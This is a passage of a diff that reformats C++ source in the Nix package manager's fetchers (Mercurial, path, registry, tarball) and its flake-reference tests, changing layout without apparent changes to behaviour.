url.query.insert_or_assign("ref", *ref); + if (auto rev = input.getRev()) + url.query.insert_or_assign("rev", rev->gitRev()); + if (auto ref = input.getRef()) + url.query.insert_or_assign("ref", *ref); return url; } - Input applyOverrides( - const Input & input, - std::optional ref, - std::optional rev) const override + Input applyOverrides(const Input & input, std::optional ref, std::optional rev) const override { auto res(input); - if (rev) res.attrs.insert_or_assign("rev", rev->gitRev()); - if (ref) res.attrs.insert_or_assign("ref", *ref); + if (rev) + res.attrs.insert_or_assign("rev", rev->gitRev()); + if (ref) + res.attrs.insert_or_assign("ref", *ref); return res; } @@ -142,19 +132,20 @@ struct MercurialInputScheme : InputScheme { auto [isLocal, repoPath] = getActualUrl(input); if (!isLocal) - throw Error("cannot commit '%s' to Mercurial repository '%s' because it's not a working tree", path, input.to_string()); + throw Error( + "cannot commit '%s' to Mercurial repository '%s' because it's not a working tree", + path, + input.to_string()); auto absPath = CanonPath(repoPath) / path; writeFile(absPath.abs(), contents); // FIXME: shut up if file is already tracked. - runHg( - { "add", absPath.abs() }); + runHg({"add", absPath.abs()}); if (commitMsg) - runHg( - { "commit", absPath.abs(), "-m", *commitMsg }); + runHg({"commit", absPath.abs(), "-m", *commitMsg}); } std::pair getActualUrl(const Input & input) const @@ -179,7 +170,7 @@ struct MercurialInputScheme : InputScheme if (!input.getRef() && !input.getRev() && isLocal && pathExists(actualUrl + "/.hg")) { - bool clean = runHg({ "status", "-R", actualUrl, "--modified", "--added", "--removed" }) == ""; + bool clean = runHg({"status", "-R", actualUrl, "--modified", "--added", "--removed"}) == ""; if (!clean) { @@ -192,10 +183,11 @@ struct MercurialInputScheme : InputScheme if (input.settings->warnDirty) warn("Mercurial tree '%s' is unclean", actualUrl); - input.attrs.insert_or_assign("ref", chomp(runHg({ "branch", "-R", actualUrl }))); + input.attrs.insert_or_assign("ref", chomp(runHg({"branch", "-R", actualUrl}))); auto files = tokenizeString>( - runHg({ "status", "-R", actualUrl, "--clean", "--modified", "--added", "--no-status", "--print0" }), "\0"s); + runHg({"status", "-R", actualUrl, "--clean", "--modified", "--added", "--no-status", "--print0"}), + "\0"s); Path actualPath(absPath(actualUrl)); @@ -217,29 +209,28 @@ struct MercurialInputScheme : InputScheme auto storePath = store->addToStore( input.getName(), {getFSSourceAccessor(), CanonPath(actualPath)}, - ContentAddressMethod::Raw::NixArchive, HashAlgorithm::SHA256, {}, + ContentAddressMethod::Raw::NixArchive, + HashAlgorithm::SHA256, + {}, filter); return storePath; } } - if (!input.getRef()) input.attrs.insert_or_assign("ref", "default"); + if (!input.getRef()) + input.attrs.insert_or_assign("ref", "default"); - auto revInfoKey = [&](const Hash & rev) - { + auto revInfoKey = [&](const Hash & rev) { if (rev.algo != HashAlgorithm::SHA1) - throw Error("Hash '%s' is not supported by Mercurial. Only sha1 is supported.", rev.to_string(HashFormat::Base16, true)); + throw Error( + "Hash '%s' is not supported by Mercurial. Only sha1 is supported.", + rev.to_string(HashFormat::Base16, true)); - return Cache::Key{"hgRev", { - {"store", store->storeDir}, - {"name", name}, - {"rev", input.getRev()->gitRev()} - }}; + return Cache::Key{"hgRev", {{"store", store->storeDir}, {"name", name}, {"rev", input.getRev()->gitRev()}}}; }; - auto makeResult = [&](const Attrs & infoAttrs, const StorePath & storePath) -> StorePath - { + auto makeResult = [&](const Attrs & infoAttrs, const StorePath & storePath) -> StorePath { assert(input.getRev()); assert(!origRev || origRev == input.getRev()); input.attrs.insert_or_assign("revCount", getIntAttr(infoAttrs, "revCount")); @@ -247,10 +238,7 @@ struct MercurialInputScheme : InputScheme }; /* Check the cache for the most recent rev for this URL/ref. */ - Cache::Key refToRevKey{"hgRefToRev", { - {"url", actualUrl}, - {"ref", *input.getRef()} - }}; + Cache::Key refToRevKey{"hgRefToRev", {{"url", actualUrl}, {"ref", *input.getRef()}}}; if (!input.getRev()) { if (auto res = getCache()->lookupWithTTL(refToRevKey)) @@ -263,43 +251,47 @@ struct MercurialInputScheme : InputScheme return makeResult(res->value, res->storePath); } - Path cacheDir = fmt("%s/hg/%s", getCacheDir(), hashString(HashAlgorithm::SHA256, actualUrl).to_string(HashFormat::Nix32, false)); + Path cacheDir = + fmt("%s/hg/%s", + getCacheDir(), + hashString(HashAlgorithm::SHA256, actualUrl).to_string(HashFormat::Nix32, false)); /* If this is a commit hash that we already have, we don't have to pull again. */ - if (!(input.getRev() - && pathExists(cacheDir) - && runProgram(hgOptions({ "log", "-R", cacheDir, "-r", input.getRev()->gitRev(), "--template", "1" })).second == "1")) - { + if (!(input.getRev() && pathExists(cacheDir) + && runProgram(hgOptions({"log", "-R", cacheDir, "-r", input.getRev()->gitRev(), "--template", "1"})) + .second + == "1")) { Activity act(*logger, lvlTalkative, actUnknown, fmt("fetching Mercurial repository '%s'", actualUrl)); if (pathExists(cacheDir)) { try { - runHg({ "pull", "-R", cacheDir, "--", actualUrl }); - } - catch (ExecError & e) { + runHg({"pull", "-R", cacheDir, "--", actualUrl}); + } catch (ExecError & e) { auto transJournal = cacheDir + "/.hg/store/journal"; /* hg throws "abandoned transaction" error only if this file exists */ if (pathExists(transJournal)) { - runHg({ "recover", "-R", cacheDir }); - runHg({ "pull", "-R", cacheDir, "--", actualUrl }); + runHg({"recover", "-R", cacheDir}); + runHg({"pull", "-R", cacheDir, "--", actualUrl}); } else { throw ExecError(e.status, "'hg pull' %s", statusToString(e.status)); } } } else { createDirs(dirOf(cacheDir)); - runHg({ "clone", "--noupdate", "--", actualUrl, cacheDir }); + runHg({"clone", "--noupdate", "--", actualUrl, cacheDir}); } } /* Fetch the remote rev or ref. */ - auto tokens = tokenizeString>( - runHg({ - "log", "-R", cacheDir, - "-r", input.getRev() ? input.getRev()->gitRev() : *input.getRef(), - "--template", "{node} {rev} {branch}" - })); + auto tokens = tokenizeString>(runHg( + {"log", + "-R", + cacheDir, + "-r", + input.getRev() ? input.getRev()->gitRev() : *input.getRef(), + "--template", + "{node} {rev} {branch}"})); assert(tokens.size() == 3); auto rev = Hash::parseAny(tokens[0], HashAlgorithm::SHA1); @@ -315,7 +307,7 @@ struct MercurialInputScheme : InputScheme Path tmpDir = createTempDir(); AutoDelete delTmpDir(tmpDir, true); - runHg({ "archive", "-R", cacheDir, "-r", rev.gitRev(), tmpDir }); + runHg({"archive", "-R", cacheDir, "-r", rev.gitRev(), tmpDir}); deletePath(tmpDir + "/.hg_archival.txt"); diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index 670397cb6..3584b6ba3 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -9,11 +9,10 @@ namespace nix::fetchers { struct PathInputScheme : InputScheme { - std::optional inputFromURL( - const Settings & settings, - const ParsedURL & url, bool requireTree) const override + std::optional inputFromURL(const Settings & settings, const ParsedURL & url, bool requireTree) const override { - if (url.scheme != "path") return {}; + if (url.scheme != "path") + return {}; if (url.authority && *url.authority != "") throw Error("path URL '%s' should not have an authority ('%s')", url, *url.authority); @@ -30,8 +29,7 @@ struct PathInputScheme : InputScheme input.attrs.insert_or_assign(name, *n); else throw Error("path URL '%s' has invalid parameter '%s'", url, name); - } - else + } else throw Error("path URL '%s' has unsupported parameter '%s'", url, name); return input; @@ -58,9 +56,7 @@ struct PathInputScheme : InputScheme }; } - std::optional inputFromAttrs( - const Settings & settings, - const Attrs & attrs) const override + std::optional inputFromAttrs(const Settings & settings, const Attrs & attrs) const override { getStrAttr(attrs, "path"); @@ -75,7 +71,7 @@ struct PathInputScheme : InputScheme query.erase("path"); query.erase("type"); query.erase("__final"); - return ParsedURL { + return ParsedURL{ .scheme = "path", .path = getStrAttr(input.attrs, "path"), .query = query, @@ -138,9 +134,8 @@ struct PathInputScheme : InputScheme time_t mtime = 0; if (!storePath || storePath->name() != "source" || !store->isValidPath(*storePath)) { // FIXME: try to substitute storePath. - auto src = sinkToSource([&](Sink & sink) { - mtime = dumpPathAndGetMtime(absPath.string(), sink, defaultPathFilter); - }); + auto src = sinkToSource( + [&](Sink & sink) { mtime = dumpPathAndGetMtime(absPath.string(), sink, defaultPathFilter); }); storePath = store->addToStoreFromDump(*src, "source"); } diff --git a/src/libfetchers/registry.cc b/src/libfetchers/registry.cc index e9b55f7f2..4423cadd3 100644 --- a/src/libfetchers/registry.cc +++ b/src/libfetchers/registry.cc @@ -10,9 +10,7 @@ namespace nix::fetchers { -std::shared_ptr Registry::read( - const Settings & settings, - const Path & path, RegistryType type) +std::shared_ptr Registry::read(const Settings & settings, const Path & path, RegistryType type) { auto registry = std::make_shared(settings, type); @@ -36,12 +34,11 @@ std::shared_ptr Registry::read( } auto exact = i.find("exact"); registry->entries.push_back( - Entry { + Entry{ .from = Input::fromAttrs(settings, jsonToAttrs(i["from"])), .to = Input::fromAttrs(settings, std::move(toAttrs)), .extraAttrs = extraAttrs, - .exact = exact != i.end() && exact.value() - }); + .exact = exact != i.end() && exact.value()}); } } @@ -79,17 +76,9 @@ void Registry::write(const Path & path) writeFile(path, json.dump(2)); } -void Registry::add( - const Input & from, - const Input & to, - const Attrs & extraAttrs) +void Registry::add(const Input & from, const Input & to, const Attrs & extraAttrs) { - entries.emplace_back( - Entry { - .from = from, - .to = to, - .extraAttrs = extraAttrs - }); + entries.emplace_back(Entry{.from = from, .to = to, .extraAttrs = extraAttrs}); } void Registry::remove(const Input & input) @@ -106,8 +95,7 @@ static Path getSystemRegistryPath() static std::shared_ptr getSystemRegistry(const Settings & settings) { - static auto systemRegistry = - Registry::read(settings, getSystemRegistryPath(), Registry::System); + static auto systemRegistry = Registry::read(settings, getSystemRegistryPath(), Registry::System); return systemRegistry; } @@ -118,29 +106,23 @@ Path getUserRegistryPath() std::shared_ptr getUserRegistry(const Settings & settings) { - static auto userRegistry = - Registry::read(settings, getUserRegistryPath(), Registry::User); + static auto userRegistry = Registry::read(settings, getUserRegistryPath(), Registry::User); return userRegistry; } std::shared_ptr getCustomRegistry(const Settings & settings, const Path & p) { - static auto customRegistry = - Registry::read(settings, p, Registry::Custom); + static auto customRegistry = Registry::read(settings, p, Registry::Custom); return customRegistry; } std::shared_ptr getFlagRegistry(const Settings & settings) { - static auto flagRegistry = - std::make_shared(settings, Registry::Flag); + static auto flagRegistry = std::make_shared(settings, Registry::Flag); return flagRegistry; } -void overrideRegistry( - const Input & from, - const Input & to, - const Attrs & extraAttrs) +void overrideRegistry(const Input & from, const Input & to, const Attrs & extraAttrs) { getFlagRegistry(*from.settings)->add(from, to, extraAttrs); } @@ -176,22 +158,21 @@ Registries getRegistries(const Settings & settings, ref store) return registries; } -std::pair lookupInRegistries( - ref store, - const Input & _input, - const RegistryFilter & filter) +std::pair lookupInRegistries(ref store, const Input & _input, const RegistryFilter & filter) { Attrs extraAttrs; int n = 0; Input input(_input); - restart: +restart: n++; - if (n > 100) throw Error("cycle detected in flake registry for '%s'", input.to_string()); + if (n > 100) + throw Error("cycle detected in flake registry for '%s'", input.to_string()); for (auto & registry : getRegistries(*input.settings, store)) { - if (filter && !filter(registry->type)) continue; + if (filter && !filter(registry->type)) + continue; // FIXME: O(n) for (auto & entry : registry->entries) { if (entry.exact) { diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index ef91d6b25..9b5e94f6b 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -12,23 +12,21 @@ namespace nix::fetchers { -DownloadFileResult downloadFile( - ref store, - const std::string & url, - const std::string & name, - const Headers & headers) +DownloadFileResult +downloadFile(ref store, const std::string & url, const std::string & name, const Headers & headers) { // FIXME: check store - Cache::Key key{"file", {{ - {"url", url}, - {"name", name}, - }}}; + Cache::Key key{ + "file", + {{ + {"url", url}, + {"name", name}, + }}}; auto cached = getCache()->lookupStorePath(key, *store); - auto useCached = [&]() -> DownloadFileResult - { + auto useCached = [&]() -> DownloadFileResult { return { .storePath = std::move(cached->storePath), .etag = getStrAttr(cached->value, "etag"), @@ -71,10 +69,10 @@ DownloadFileResult downloadFile( StringSink sink; dumpString(res.data, sink); auto hash = hashString(HashAlgorithm::SHA256, res.data); - ValidPathInfo info { + ValidPathInfo info{ *store, name, - FixedOutputInfo { + FixedOutputInfo{ .method = FileIngestionMethod::Flat, .hash = hash, .references = {}, @@ -82,7 +80,7 @@ DownloadFileResult downloadFile( hashString(HashAlgorithm::SHA256, sink.s), }; info.narSize = sink.s.size(); - auto source = StringSource { sink.s }; + auto source = StringSource{sink.s}; store->addToStore(info, source, NoRepair, NoCheckSigs); storePath = std::move(info.path); } @@ -103,19 +101,16 @@ DownloadFileResult downloadFile( }; } -static DownloadTarballResult downloadTarball_( - const std::string & url, - const Headers & headers, - const std::string & displayPrefix) +static DownloadTarballResult +downloadTarball_(const std::string & url, const Headers & headers, const std::string & displayPrefix) { Cache::Key cacheKey{"tarball", {{"url", url}}}; auto cached = getCache()->lookupExpired(cacheKey); - auto attrsToResult = [&](const Attrs & infoAttrs) - { + auto attrsToResult = [&](const Attrs & infoAttrs) { auto treeHash = getRevAttr(infoAttrs, "treeHash"); - return DownloadTarballResult { + return DownloadTarballResult{ .treeHash = treeHash, .lastModified = (time_t) getIntAttr(infoAttrs, "lastModified"), .immutableUrl = maybeGetStrAttr(infoAttrs, "immutableUrl"), @@ -136,39 +131,32 @@ static DownloadTarballResult downloadTarball_( auto source = sinkToSource([&](Sink & sink) { FileTransferRequest req(url); req.expectedETag = cached ? getStrAttr(cached->value, "etag") : ""; - getFileTransfer()->download(std::move(req), sink, - [_res](FileTransferResult r) - { - *_res->lock() = r; - }); + getFileTransfer()->download(std::move(req), sink, [_res](FileTransferResult r) { *_res->lock() = r; }); }); // TODO: fall back to cached value if download fails. - auto act = std::make_unique(*logger, lvlInfo, actUnknown, - fmt("unpacking '%s' into the Git cache", url)); + auto act = std::make_unique(*logger, lvlInfo, actUnknown, fmt("unpacking '%s' into the Git cache", url)); AutoDelete cleanupTemp; /* Note: if the download is cached, `importTarball()` will receive no data, which causes it to import an empty tarball. */ - auto archive = - hasSuffix(toLower(parseURL(url).path), ".zip") - ? ({ - /* In streaming mode, libarchive doesn't handle - symlinks in zip files correctly (#10649). So write - the entire file to disk so libarchive can access it - in random-access mode. */ - auto [fdTemp, path] = createTempFile("nix-zipfile"); - cleanupTemp.reset(path); - debug("downloading '%s' into '%s'...", url, path); - { - FdSink sink(fdTemp.get()); - source->drainInto(sink); - } - TarArchive{path}; - }) - : TarArchive{*source}; + auto archive = hasSuffix(toLower(parseURL(url).path), ".zip") ? ({ + /* In streaming mode, libarchive doesn't handle + symlinks in zip files correctly (#10649). So write + the entire file to disk so libarchive can access it + in random-access mode. */ + auto [fdTemp, path] = createTempFile("nix-zipfile"); + cleanupTemp.reset(path); + debug("downloading '%s' into '%s'...", url, path); + { + FdSink sink(fdTemp.get()); + source->drainInto(sink); + } + TarArchive{path}; + }) + : TarArchive{*source}; auto tarballCache = getTarballCache(); auto parseSink = tarballCache->getFileSystemObjectSink(); auto lastModified = unpackTarfileToSink(archive, *parseSink); @@ -186,8 +174,7 @@ static DownloadTarballResult downloadTarball_( infoAttrs = cached->value; } else { infoAttrs.insert_or_assign("etag", res->etag); - infoAttrs.insert_or_assign("treeHash", - tarballCache->dereferenceSingletonDirectory(tree).gitRev()); + infoAttrs.insert_or_assign("treeHash", tarballCache->dereferenceSingletonDirectory(tree).gitRev()); infoAttrs.insert_or_assign("lastModified", uint64_t(lastModified)); if (res->immutableUrl) infoAttrs.insert_or_assign("immutableUrl", *res->immutableUrl); @@ -205,10 +192,7 @@ static DownloadTarballResult downloadTarball_( return attrsToResult(infoAttrs); } -ref downloadTarball( - ref store, - const Settings & settings, - const std::string & url) +ref downloadTarball(ref store, const Settings & settings, const std::string & url) { /* Go through Input::getAccessor() to ensure that the resulting accessor has a fingerprint. */ @@ -228,19 +212,17 @@ struct CurlInputScheme : InputScheme bool hasTarballExtension(std::string_view path) const { - return hasSuffix(path, ".zip") || hasSuffix(path, ".tar") - || hasSuffix(path, ".tgz") || hasSuffix(path, ".tar.gz") - || hasSuffix(path, ".tar.xz") || hasSuffix(path, ".tar.bz2") - || hasSuffix(path, ".tar.zst"); + return hasSuffix(path, ".zip") || hasSuffix(path, ".tar") || hasSuffix(path, ".tgz") + || hasSuffix(path, ".tar.gz") || hasSuffix(path, ".tar.xz") || hasSuffix(path, ".tar.bz2") + || hasSuffix(path, ".tar.zst"); } virtual bool isValidURL(const ParsedURL & url, bool requireTree) const = 0; static const std::set specialParams; - std::optional inputFromURL( - const Settings & settings, - const ParsedURL & _url, bool requireTree) const override + std::optional + inputFromURL(const Settings & settings, const ParsedURL & _url, bool requireTree) const override { if (!isValidURL(_url, requireTree)) return std::nullopt; @@ -274,7 +256,7 @@ struct CurlInputScheme : InputScheme for (auto & param : allowedAttrs()) url.query.erase(param); - input.attrs.insert_or_assign("type", std::string { schemeName() }); + input.attrs.insert_or_assign("type", std::string{schemeName()}); input.attrs.insert_or_assign("url", url.to_string()); return input; } @@ -293,14 +275,12 @@ struct CurlInputScheme : InputScheme }; } - std::optional inputFromAttrs( - const Settings & settings, - const Attrs & attrs) const override + std::optional inputFromAttrs(const Settings & settings, const Attrs & attrs) const override { Input input{settings}; input.attrs = attrs; - //input.locked = (bool) maybeGetStrAttr(input.attrs, "hash"); + // input.locked = (bool) maybeGetStrAttr(input.attrs, "hash"); return input; } @@ -322,15 +302,17 @@ struct CurlInputScheme : InputScheme struct FileInputScheme : CurlInputScheme { - std::string_view schemeName() const override { return "file"; } + std::string_view schemeName() const override + { + return "file"; + } bool isValidURL(const ParsedURL & url, bool requireTree) const override { auto parsedUrlScheme = parseUrlScheme(url.scheme); return transportUrlSchemes.count(std::string(parsedUrlScheme.transport)) - && (parsedUrlScheme.application - ? parsedUrlScheme.application.value() == schemeName() - : (!requireTree && !hasTarballExtension(url.path))); + && (parsedUrlScheme.application ? parsedUrlScheme.application.value() == schemeName() + : (!requireTree && !hasTarballExtension(url.path))); } std::pair, Input> getAccessor(ref store, const Input & _input) const override @@ -356,26 +338,25 @@ struct FileInputScheme : CurlInputScheme struct TarballInputScheme : CurlInputScheme { - std::string_view schemeName() const override { return "tarball"; } + std::string_view schemeName() const override + { + return "tarball"; + } bool isValidURL(const ParsedURL & url, bool requireTree) const override { auto parsedUrlScheme = parseUrlScheme(url.scheme); return transportUrlSchemes.count(std::string(parsedUrlScheme.transport)) - && (parsedUrlScheme.application - ? parsedUrlScheme.application.value() == schemeName() - : (requireTree || hasTarballExtension(url.path))); + && (parsedUrlScheme.application ? parsedUrlScheme.application.value() == schemeName() + : (requireTree || hasTarballExtension(url.path))); } std::pair, Input> getAccessor(ref store, const Input & _input) const override { auto input(_input); - auto result = downloadTarball_( - getStrAttr(input.attrs, "url"), - {}, - "«" + input.to_string() + "»"); + auto result = downloadTarball_(getStrAttr(input.attrs, "url"), {}, "«" + input.to_string() + "»"); if (result.immutableUrl) { auto immutableInput = Input::fromURL(*input.settings, *result.immutableUrl); @@ -389,8 +370,8 @@ struct TarballInputScheme : CurlInputScheme if (result.lastModified && !input.attrs.contains("lastModified")) input.attrs.insert_or_assign("lastModified", uint64_t(result.lastModified)); - input.attrs.insert_or_assign("narHash", - getTarballCache()->treeHashToNarHash(result.treeHash).to_string(HashFormat::SRI, true)); + input.attrs.insert_or_assign( + "narHash", getTarballCache()->treeHashToNarHash(result.treeHash).to_string(HashFormat::SRI, true)); return {result.accessor, input}; } diff --git a/src/libflake-tests/flakeref.cc b/src/libflake-tests/flakeref.cc index 1abaffb96..01d46ab0e 100644 --- a/src/libflake-tests/flakeref.cc +++ b/src/libflake-tests/flakeref.cc @@ -7,60 +7,58 @@ namespace nix { /* ----------- tests for flake/flakeref.hh --------------------------------------------------*/ - TEST(parseFlakeRef, path) { - experimentalFeatureSettings.experimentalFeatures.get().insert(Xp::Flakes); +TEST(parseFlakeRef, path) +{ + experimentalFeatureSettings.experimentalFeatures.get().insert(Xp::Flakes); - fetchers::Settings fetchSettings; + fetchers::Settings fetchSettings; - { - auto s = "/foo/bar"; - auto flakeref = parseFlakeRef(fetchSettings, s); - ASSERT_EQ(flakeref.to_string(), "path:/foo/bar"); - } - - { - auto s = "/foo/bar?revCount=123&rev=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; - auto flakeref = parseFlakeRef(fetchSettings, s); - ASSERT_EQ(flakeref.to_string(), "path:/foo/bar?rev=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&revCount=123"); - } - - { - auto s = "/foo/bar?xyzzy=123"; - EXPECT_THROW( - parseFlakeRef(fetchSettings, s), - Error); - } - - { - auto s = "/foo/bar#bla"; - EXPECT_THROW( - parseFlakeRef(fetchSettings, s), - Error); - } - - { - auto s = "/foo/bar#bla"; - auto [flakeref, fragment] = parseFlakeRefWithFragment(fetchSettings, s); - ASSERT_EQ(flakeref.to_string(), "path:/foo/bar"); - ASSERT_EQ(fragment, "bla"); - } - - { - auto s = "/foo/bar?revCount=123#bla"; - auto [flakeref, fragment] = parseFlakeRefWithFragment(fetchSettings, s); - ASSERT_EQ(flakeref.to_string(), "path:/foo/bar?revCount=123"); - ASSERT_EQ(fragment, "bla"); - } - } - - TEST(to_string, doesntReencodeUrl) { - fetchers::Settings fetchSettings; - auto s = "http://localhost:8181/test/+3d.tar.gz"; + { + auto s = "/foo/bar"; auto flakeref = parseFlakeRef(fetchSettings, s); - auto unparsed = flakeref.to_string(); - auto expected = "http://localhost:8181/test/%2B3d.tar.gz"; - - ASSERT_EQ(unparsed, expected); + ASSERT_EQ(flakeref.to_string(), "path:/foo/bar"); } + { + auto s = "/foo/bar?revCount=123&rev=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + auto flakeref = parseFlakeRef(fetchSettings, s); + ASSERT_EQ(flakeref.to_string(), "path:/foo/bar?rev=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&revCount=123"); + } + + { + auto s = "/foo/bar?xyzzy=123"; + EXPECT_THROW(parseFlakeRef(fetchSettings, s), Error); + } + + { + auto s = "/foo/bar#bla"; + EXPECT_THROW(parseFlakeRef(fetchSettings, s), Error); + } + + { + auto s = "/foo/bar#bla"; + auto [flakeref, fragment] = parseFlakeRefWithFragment(fetchSettings, s); + ASSERT_EQ(flakeref.to_string(), "path:/foo/bar"); + ASSERT_EQ(fragment, "bla"); + } + + { + auto s = "/foo/bar?revCount=123#bla"; + auto [flakeref, fragment] = parseFlakeRefWithFragment(fetchSettings, s); + ASSERT_EQ(flakeref.to_string(), "path:/foo/bar?revCount=123"); + ASSERT_EQ(fragment, "bla"); + } +} + +TEST(to_string, doesntReencodeUrl) +{ + fetchers::Settings fetchSettings; + auto s = "http://localhost:8181/test/+3d.tar.gz"; + auto flakeref = parseFlakeRef(fetchSettings, s); + auto unparsed = flakeref.to_string(); + auto expected = "http://localhost:8181/test/%2B3d.tar.gz"; + + ASSERT_EQ(unparsed, expected); +} + } diff --git a/src/libflake-tests/url-name.cc b/src/libflake-tests/url-name.cc index c795850f9..847bd50af 100644 --- a/src/libflake-tests/url-name.cc +++ b/src/libflake-tests/url-name.cc @@ -5,66 +5,81 @@ namespace nix { /* ----------- tests for url-name.hh --------------------------------------------------*/ - TEST(getNameFromURL, getNameFromURL) { - ASSERT_EQ(getNameFromURL(parseURL("path:/home/user/project")), "project"); - ASSERT_EQ(getNameFromURL(parseURL("path:~/repos/nixpkgs#packages.x86_64-linux.hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("path:~/repos/nixpkgs#legacyPackages.x86_64-linux.hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("path:~/repos/nixpkgs#packages.x86_64-linux.Hello")), "Hello"); - ASSERT_EQ(getNameFromURL(parseURL("path:.#nonStandardAttr.mylaptop")), "mylaptop"); - ASSERT_EQ(getNameFromURL(parseURL("path:./repos/myflake#nonStandardAttr.mylaptop")), "mylaptop"); - ASSERT_EQ(getNameFromURL(parseURL("path:./nixpkgs#packages.x86_64-linux.complex^bin,man")), "complex"); - ASSERT_EQ(getNameFromURL(parseURL("path:./myproj#packages.x86_64-linux.default^*")), "myproj"); - ASSERT_EQ(getNameFromURL(parseURL("path:./myproj#defaultPackage.x86_64-linux")), "myproj"); +TEST(getNameFromURL, getNameFromURL) +{ + ASSERT_EQ(getNameFromURL(parseURL("path:/home/user/project")), "project"); + ASSERT_EQ(getNameFromURL(parseURL("path:~/repos/nixpkgs#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("path:~/repos/nixpkgs#legacyPackages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("path:~/repos/nixpkgs#packages.x86_64-linux.Hello")), "Hello"); + ASSERT_EQ(getNameFromURL(parseURL("path:.#nonStandardAttr.mylaptop")), "mylaptop"); + ASSERT_EQ(getNameFromURL(parseURL("path:./repos/myflake#nonStandardAttr.mylaptop")), "mylaptop"); + ASSERT_EQ(getNameFromURL(parseURL("path:./nixpkgs#packages.x86_64-linux.complex^bin,man")), "complex"); + ASSERT_EQ(getNameFromURL(parseURL("path:./myproj#packages.x86_64-linux.default^*")), "myproj"); + ASSERT_EQ(getNameFromURL(parseURL("path:./myproj#defaultPackage.x86_64-linux")), "myproj"); - ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nixpkgs#packages.x86_64-linux.hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nixpkgs#hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nix#packages.x86_64-linux.default")), "nix"); - ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nix#")), "nix"); - ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nix")), "nix"); - ASSERT_EQ(getNameFromURL(parseURL("github:cachix/devenv/main#packages.x86_64-linux.default")), "devenv"); - ASSERT_EQ(getNameFromURL(parseURL("github:edolstra/nix-warez?rev=1234&dir=blender&ref=master")), "blender"); + ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nixpkgs#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nixpkgs#hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nix#packages.x86_64-linux.default")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nix#")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("github:NixOS/nix")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("github:cachix/devenv/main#packages.x86_64-linux.default")), "devenv"); + ASSERT_EQ(getNameFromURL(parseURL("github:edolstra/nix-warez?rev=1234&dir=blender&ref=master")), "blender"); - ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nixpkgs#packages.x86_64-linux.hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nixpkgs#hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nix#packages.x86_64-linux.default")), "nix"); - ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nix#")), "nix"); - ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nix")), "nix"); - ASSERT_EQ(getNameFromURL(parseURL("gitlab:cachix/devenv/main#packages.x86_64-linux.default")), "devenv"); + ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nixpkgs#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nixpkgs#hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nix#packages.x86_64-linux.default")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nix#")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("gitlab:NixOS/nix")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("gitlab:cachix/devenv/main#packages.x86_64-linux.default")), "devenv"); - ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nixpkgs#packages.x86_64-linux.hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nixpkgs#hello")), "hello"); - ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nix#packages.x86_64-linux.default")), "nix"); - ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nix#")), "nix"); - ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nix")), "nix"); - ASSERT_EQ(getNameFromURL(parseURL("sourcehut:cachix/devenv/main#packages.x86_64-linux.default")), "devenv"); + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nixpkgs#packages.x86_64-linux.hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nixpkgs#hello")), "hello"); + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nix#packages.x86_64-linux.default")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nix#")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:NixOS/nix")), "nix"); + ASSERT_EQ(getNameFromURL(parseURL("sourcehut:cachix/devenv/main#packages.x86_64-linux.default")), "devenv"); - ASSERT_EQ(getNameFromURL(parseURL("git://github.com/edolstra/dwarffs")), "dwarffs"); - ASSERT_EQ(getNameFromURL(parseURL("git://github.com/edolstra/nix-warez?dir=blender")), "blender"); - ASSERT_EQ(getNameFromURL(parseURL("git+file:///home/user/project")), "project"); - ASSERT_EQ(getNameFromURL(parseURL("git+file:///home/user/project?ref=fa1e2d23a22")), "project"); - ASSERT_EQ(getNameFromURL(parseURL("git+ssh://git@github.com/someuser/my-repo#")), "my-repo"); - 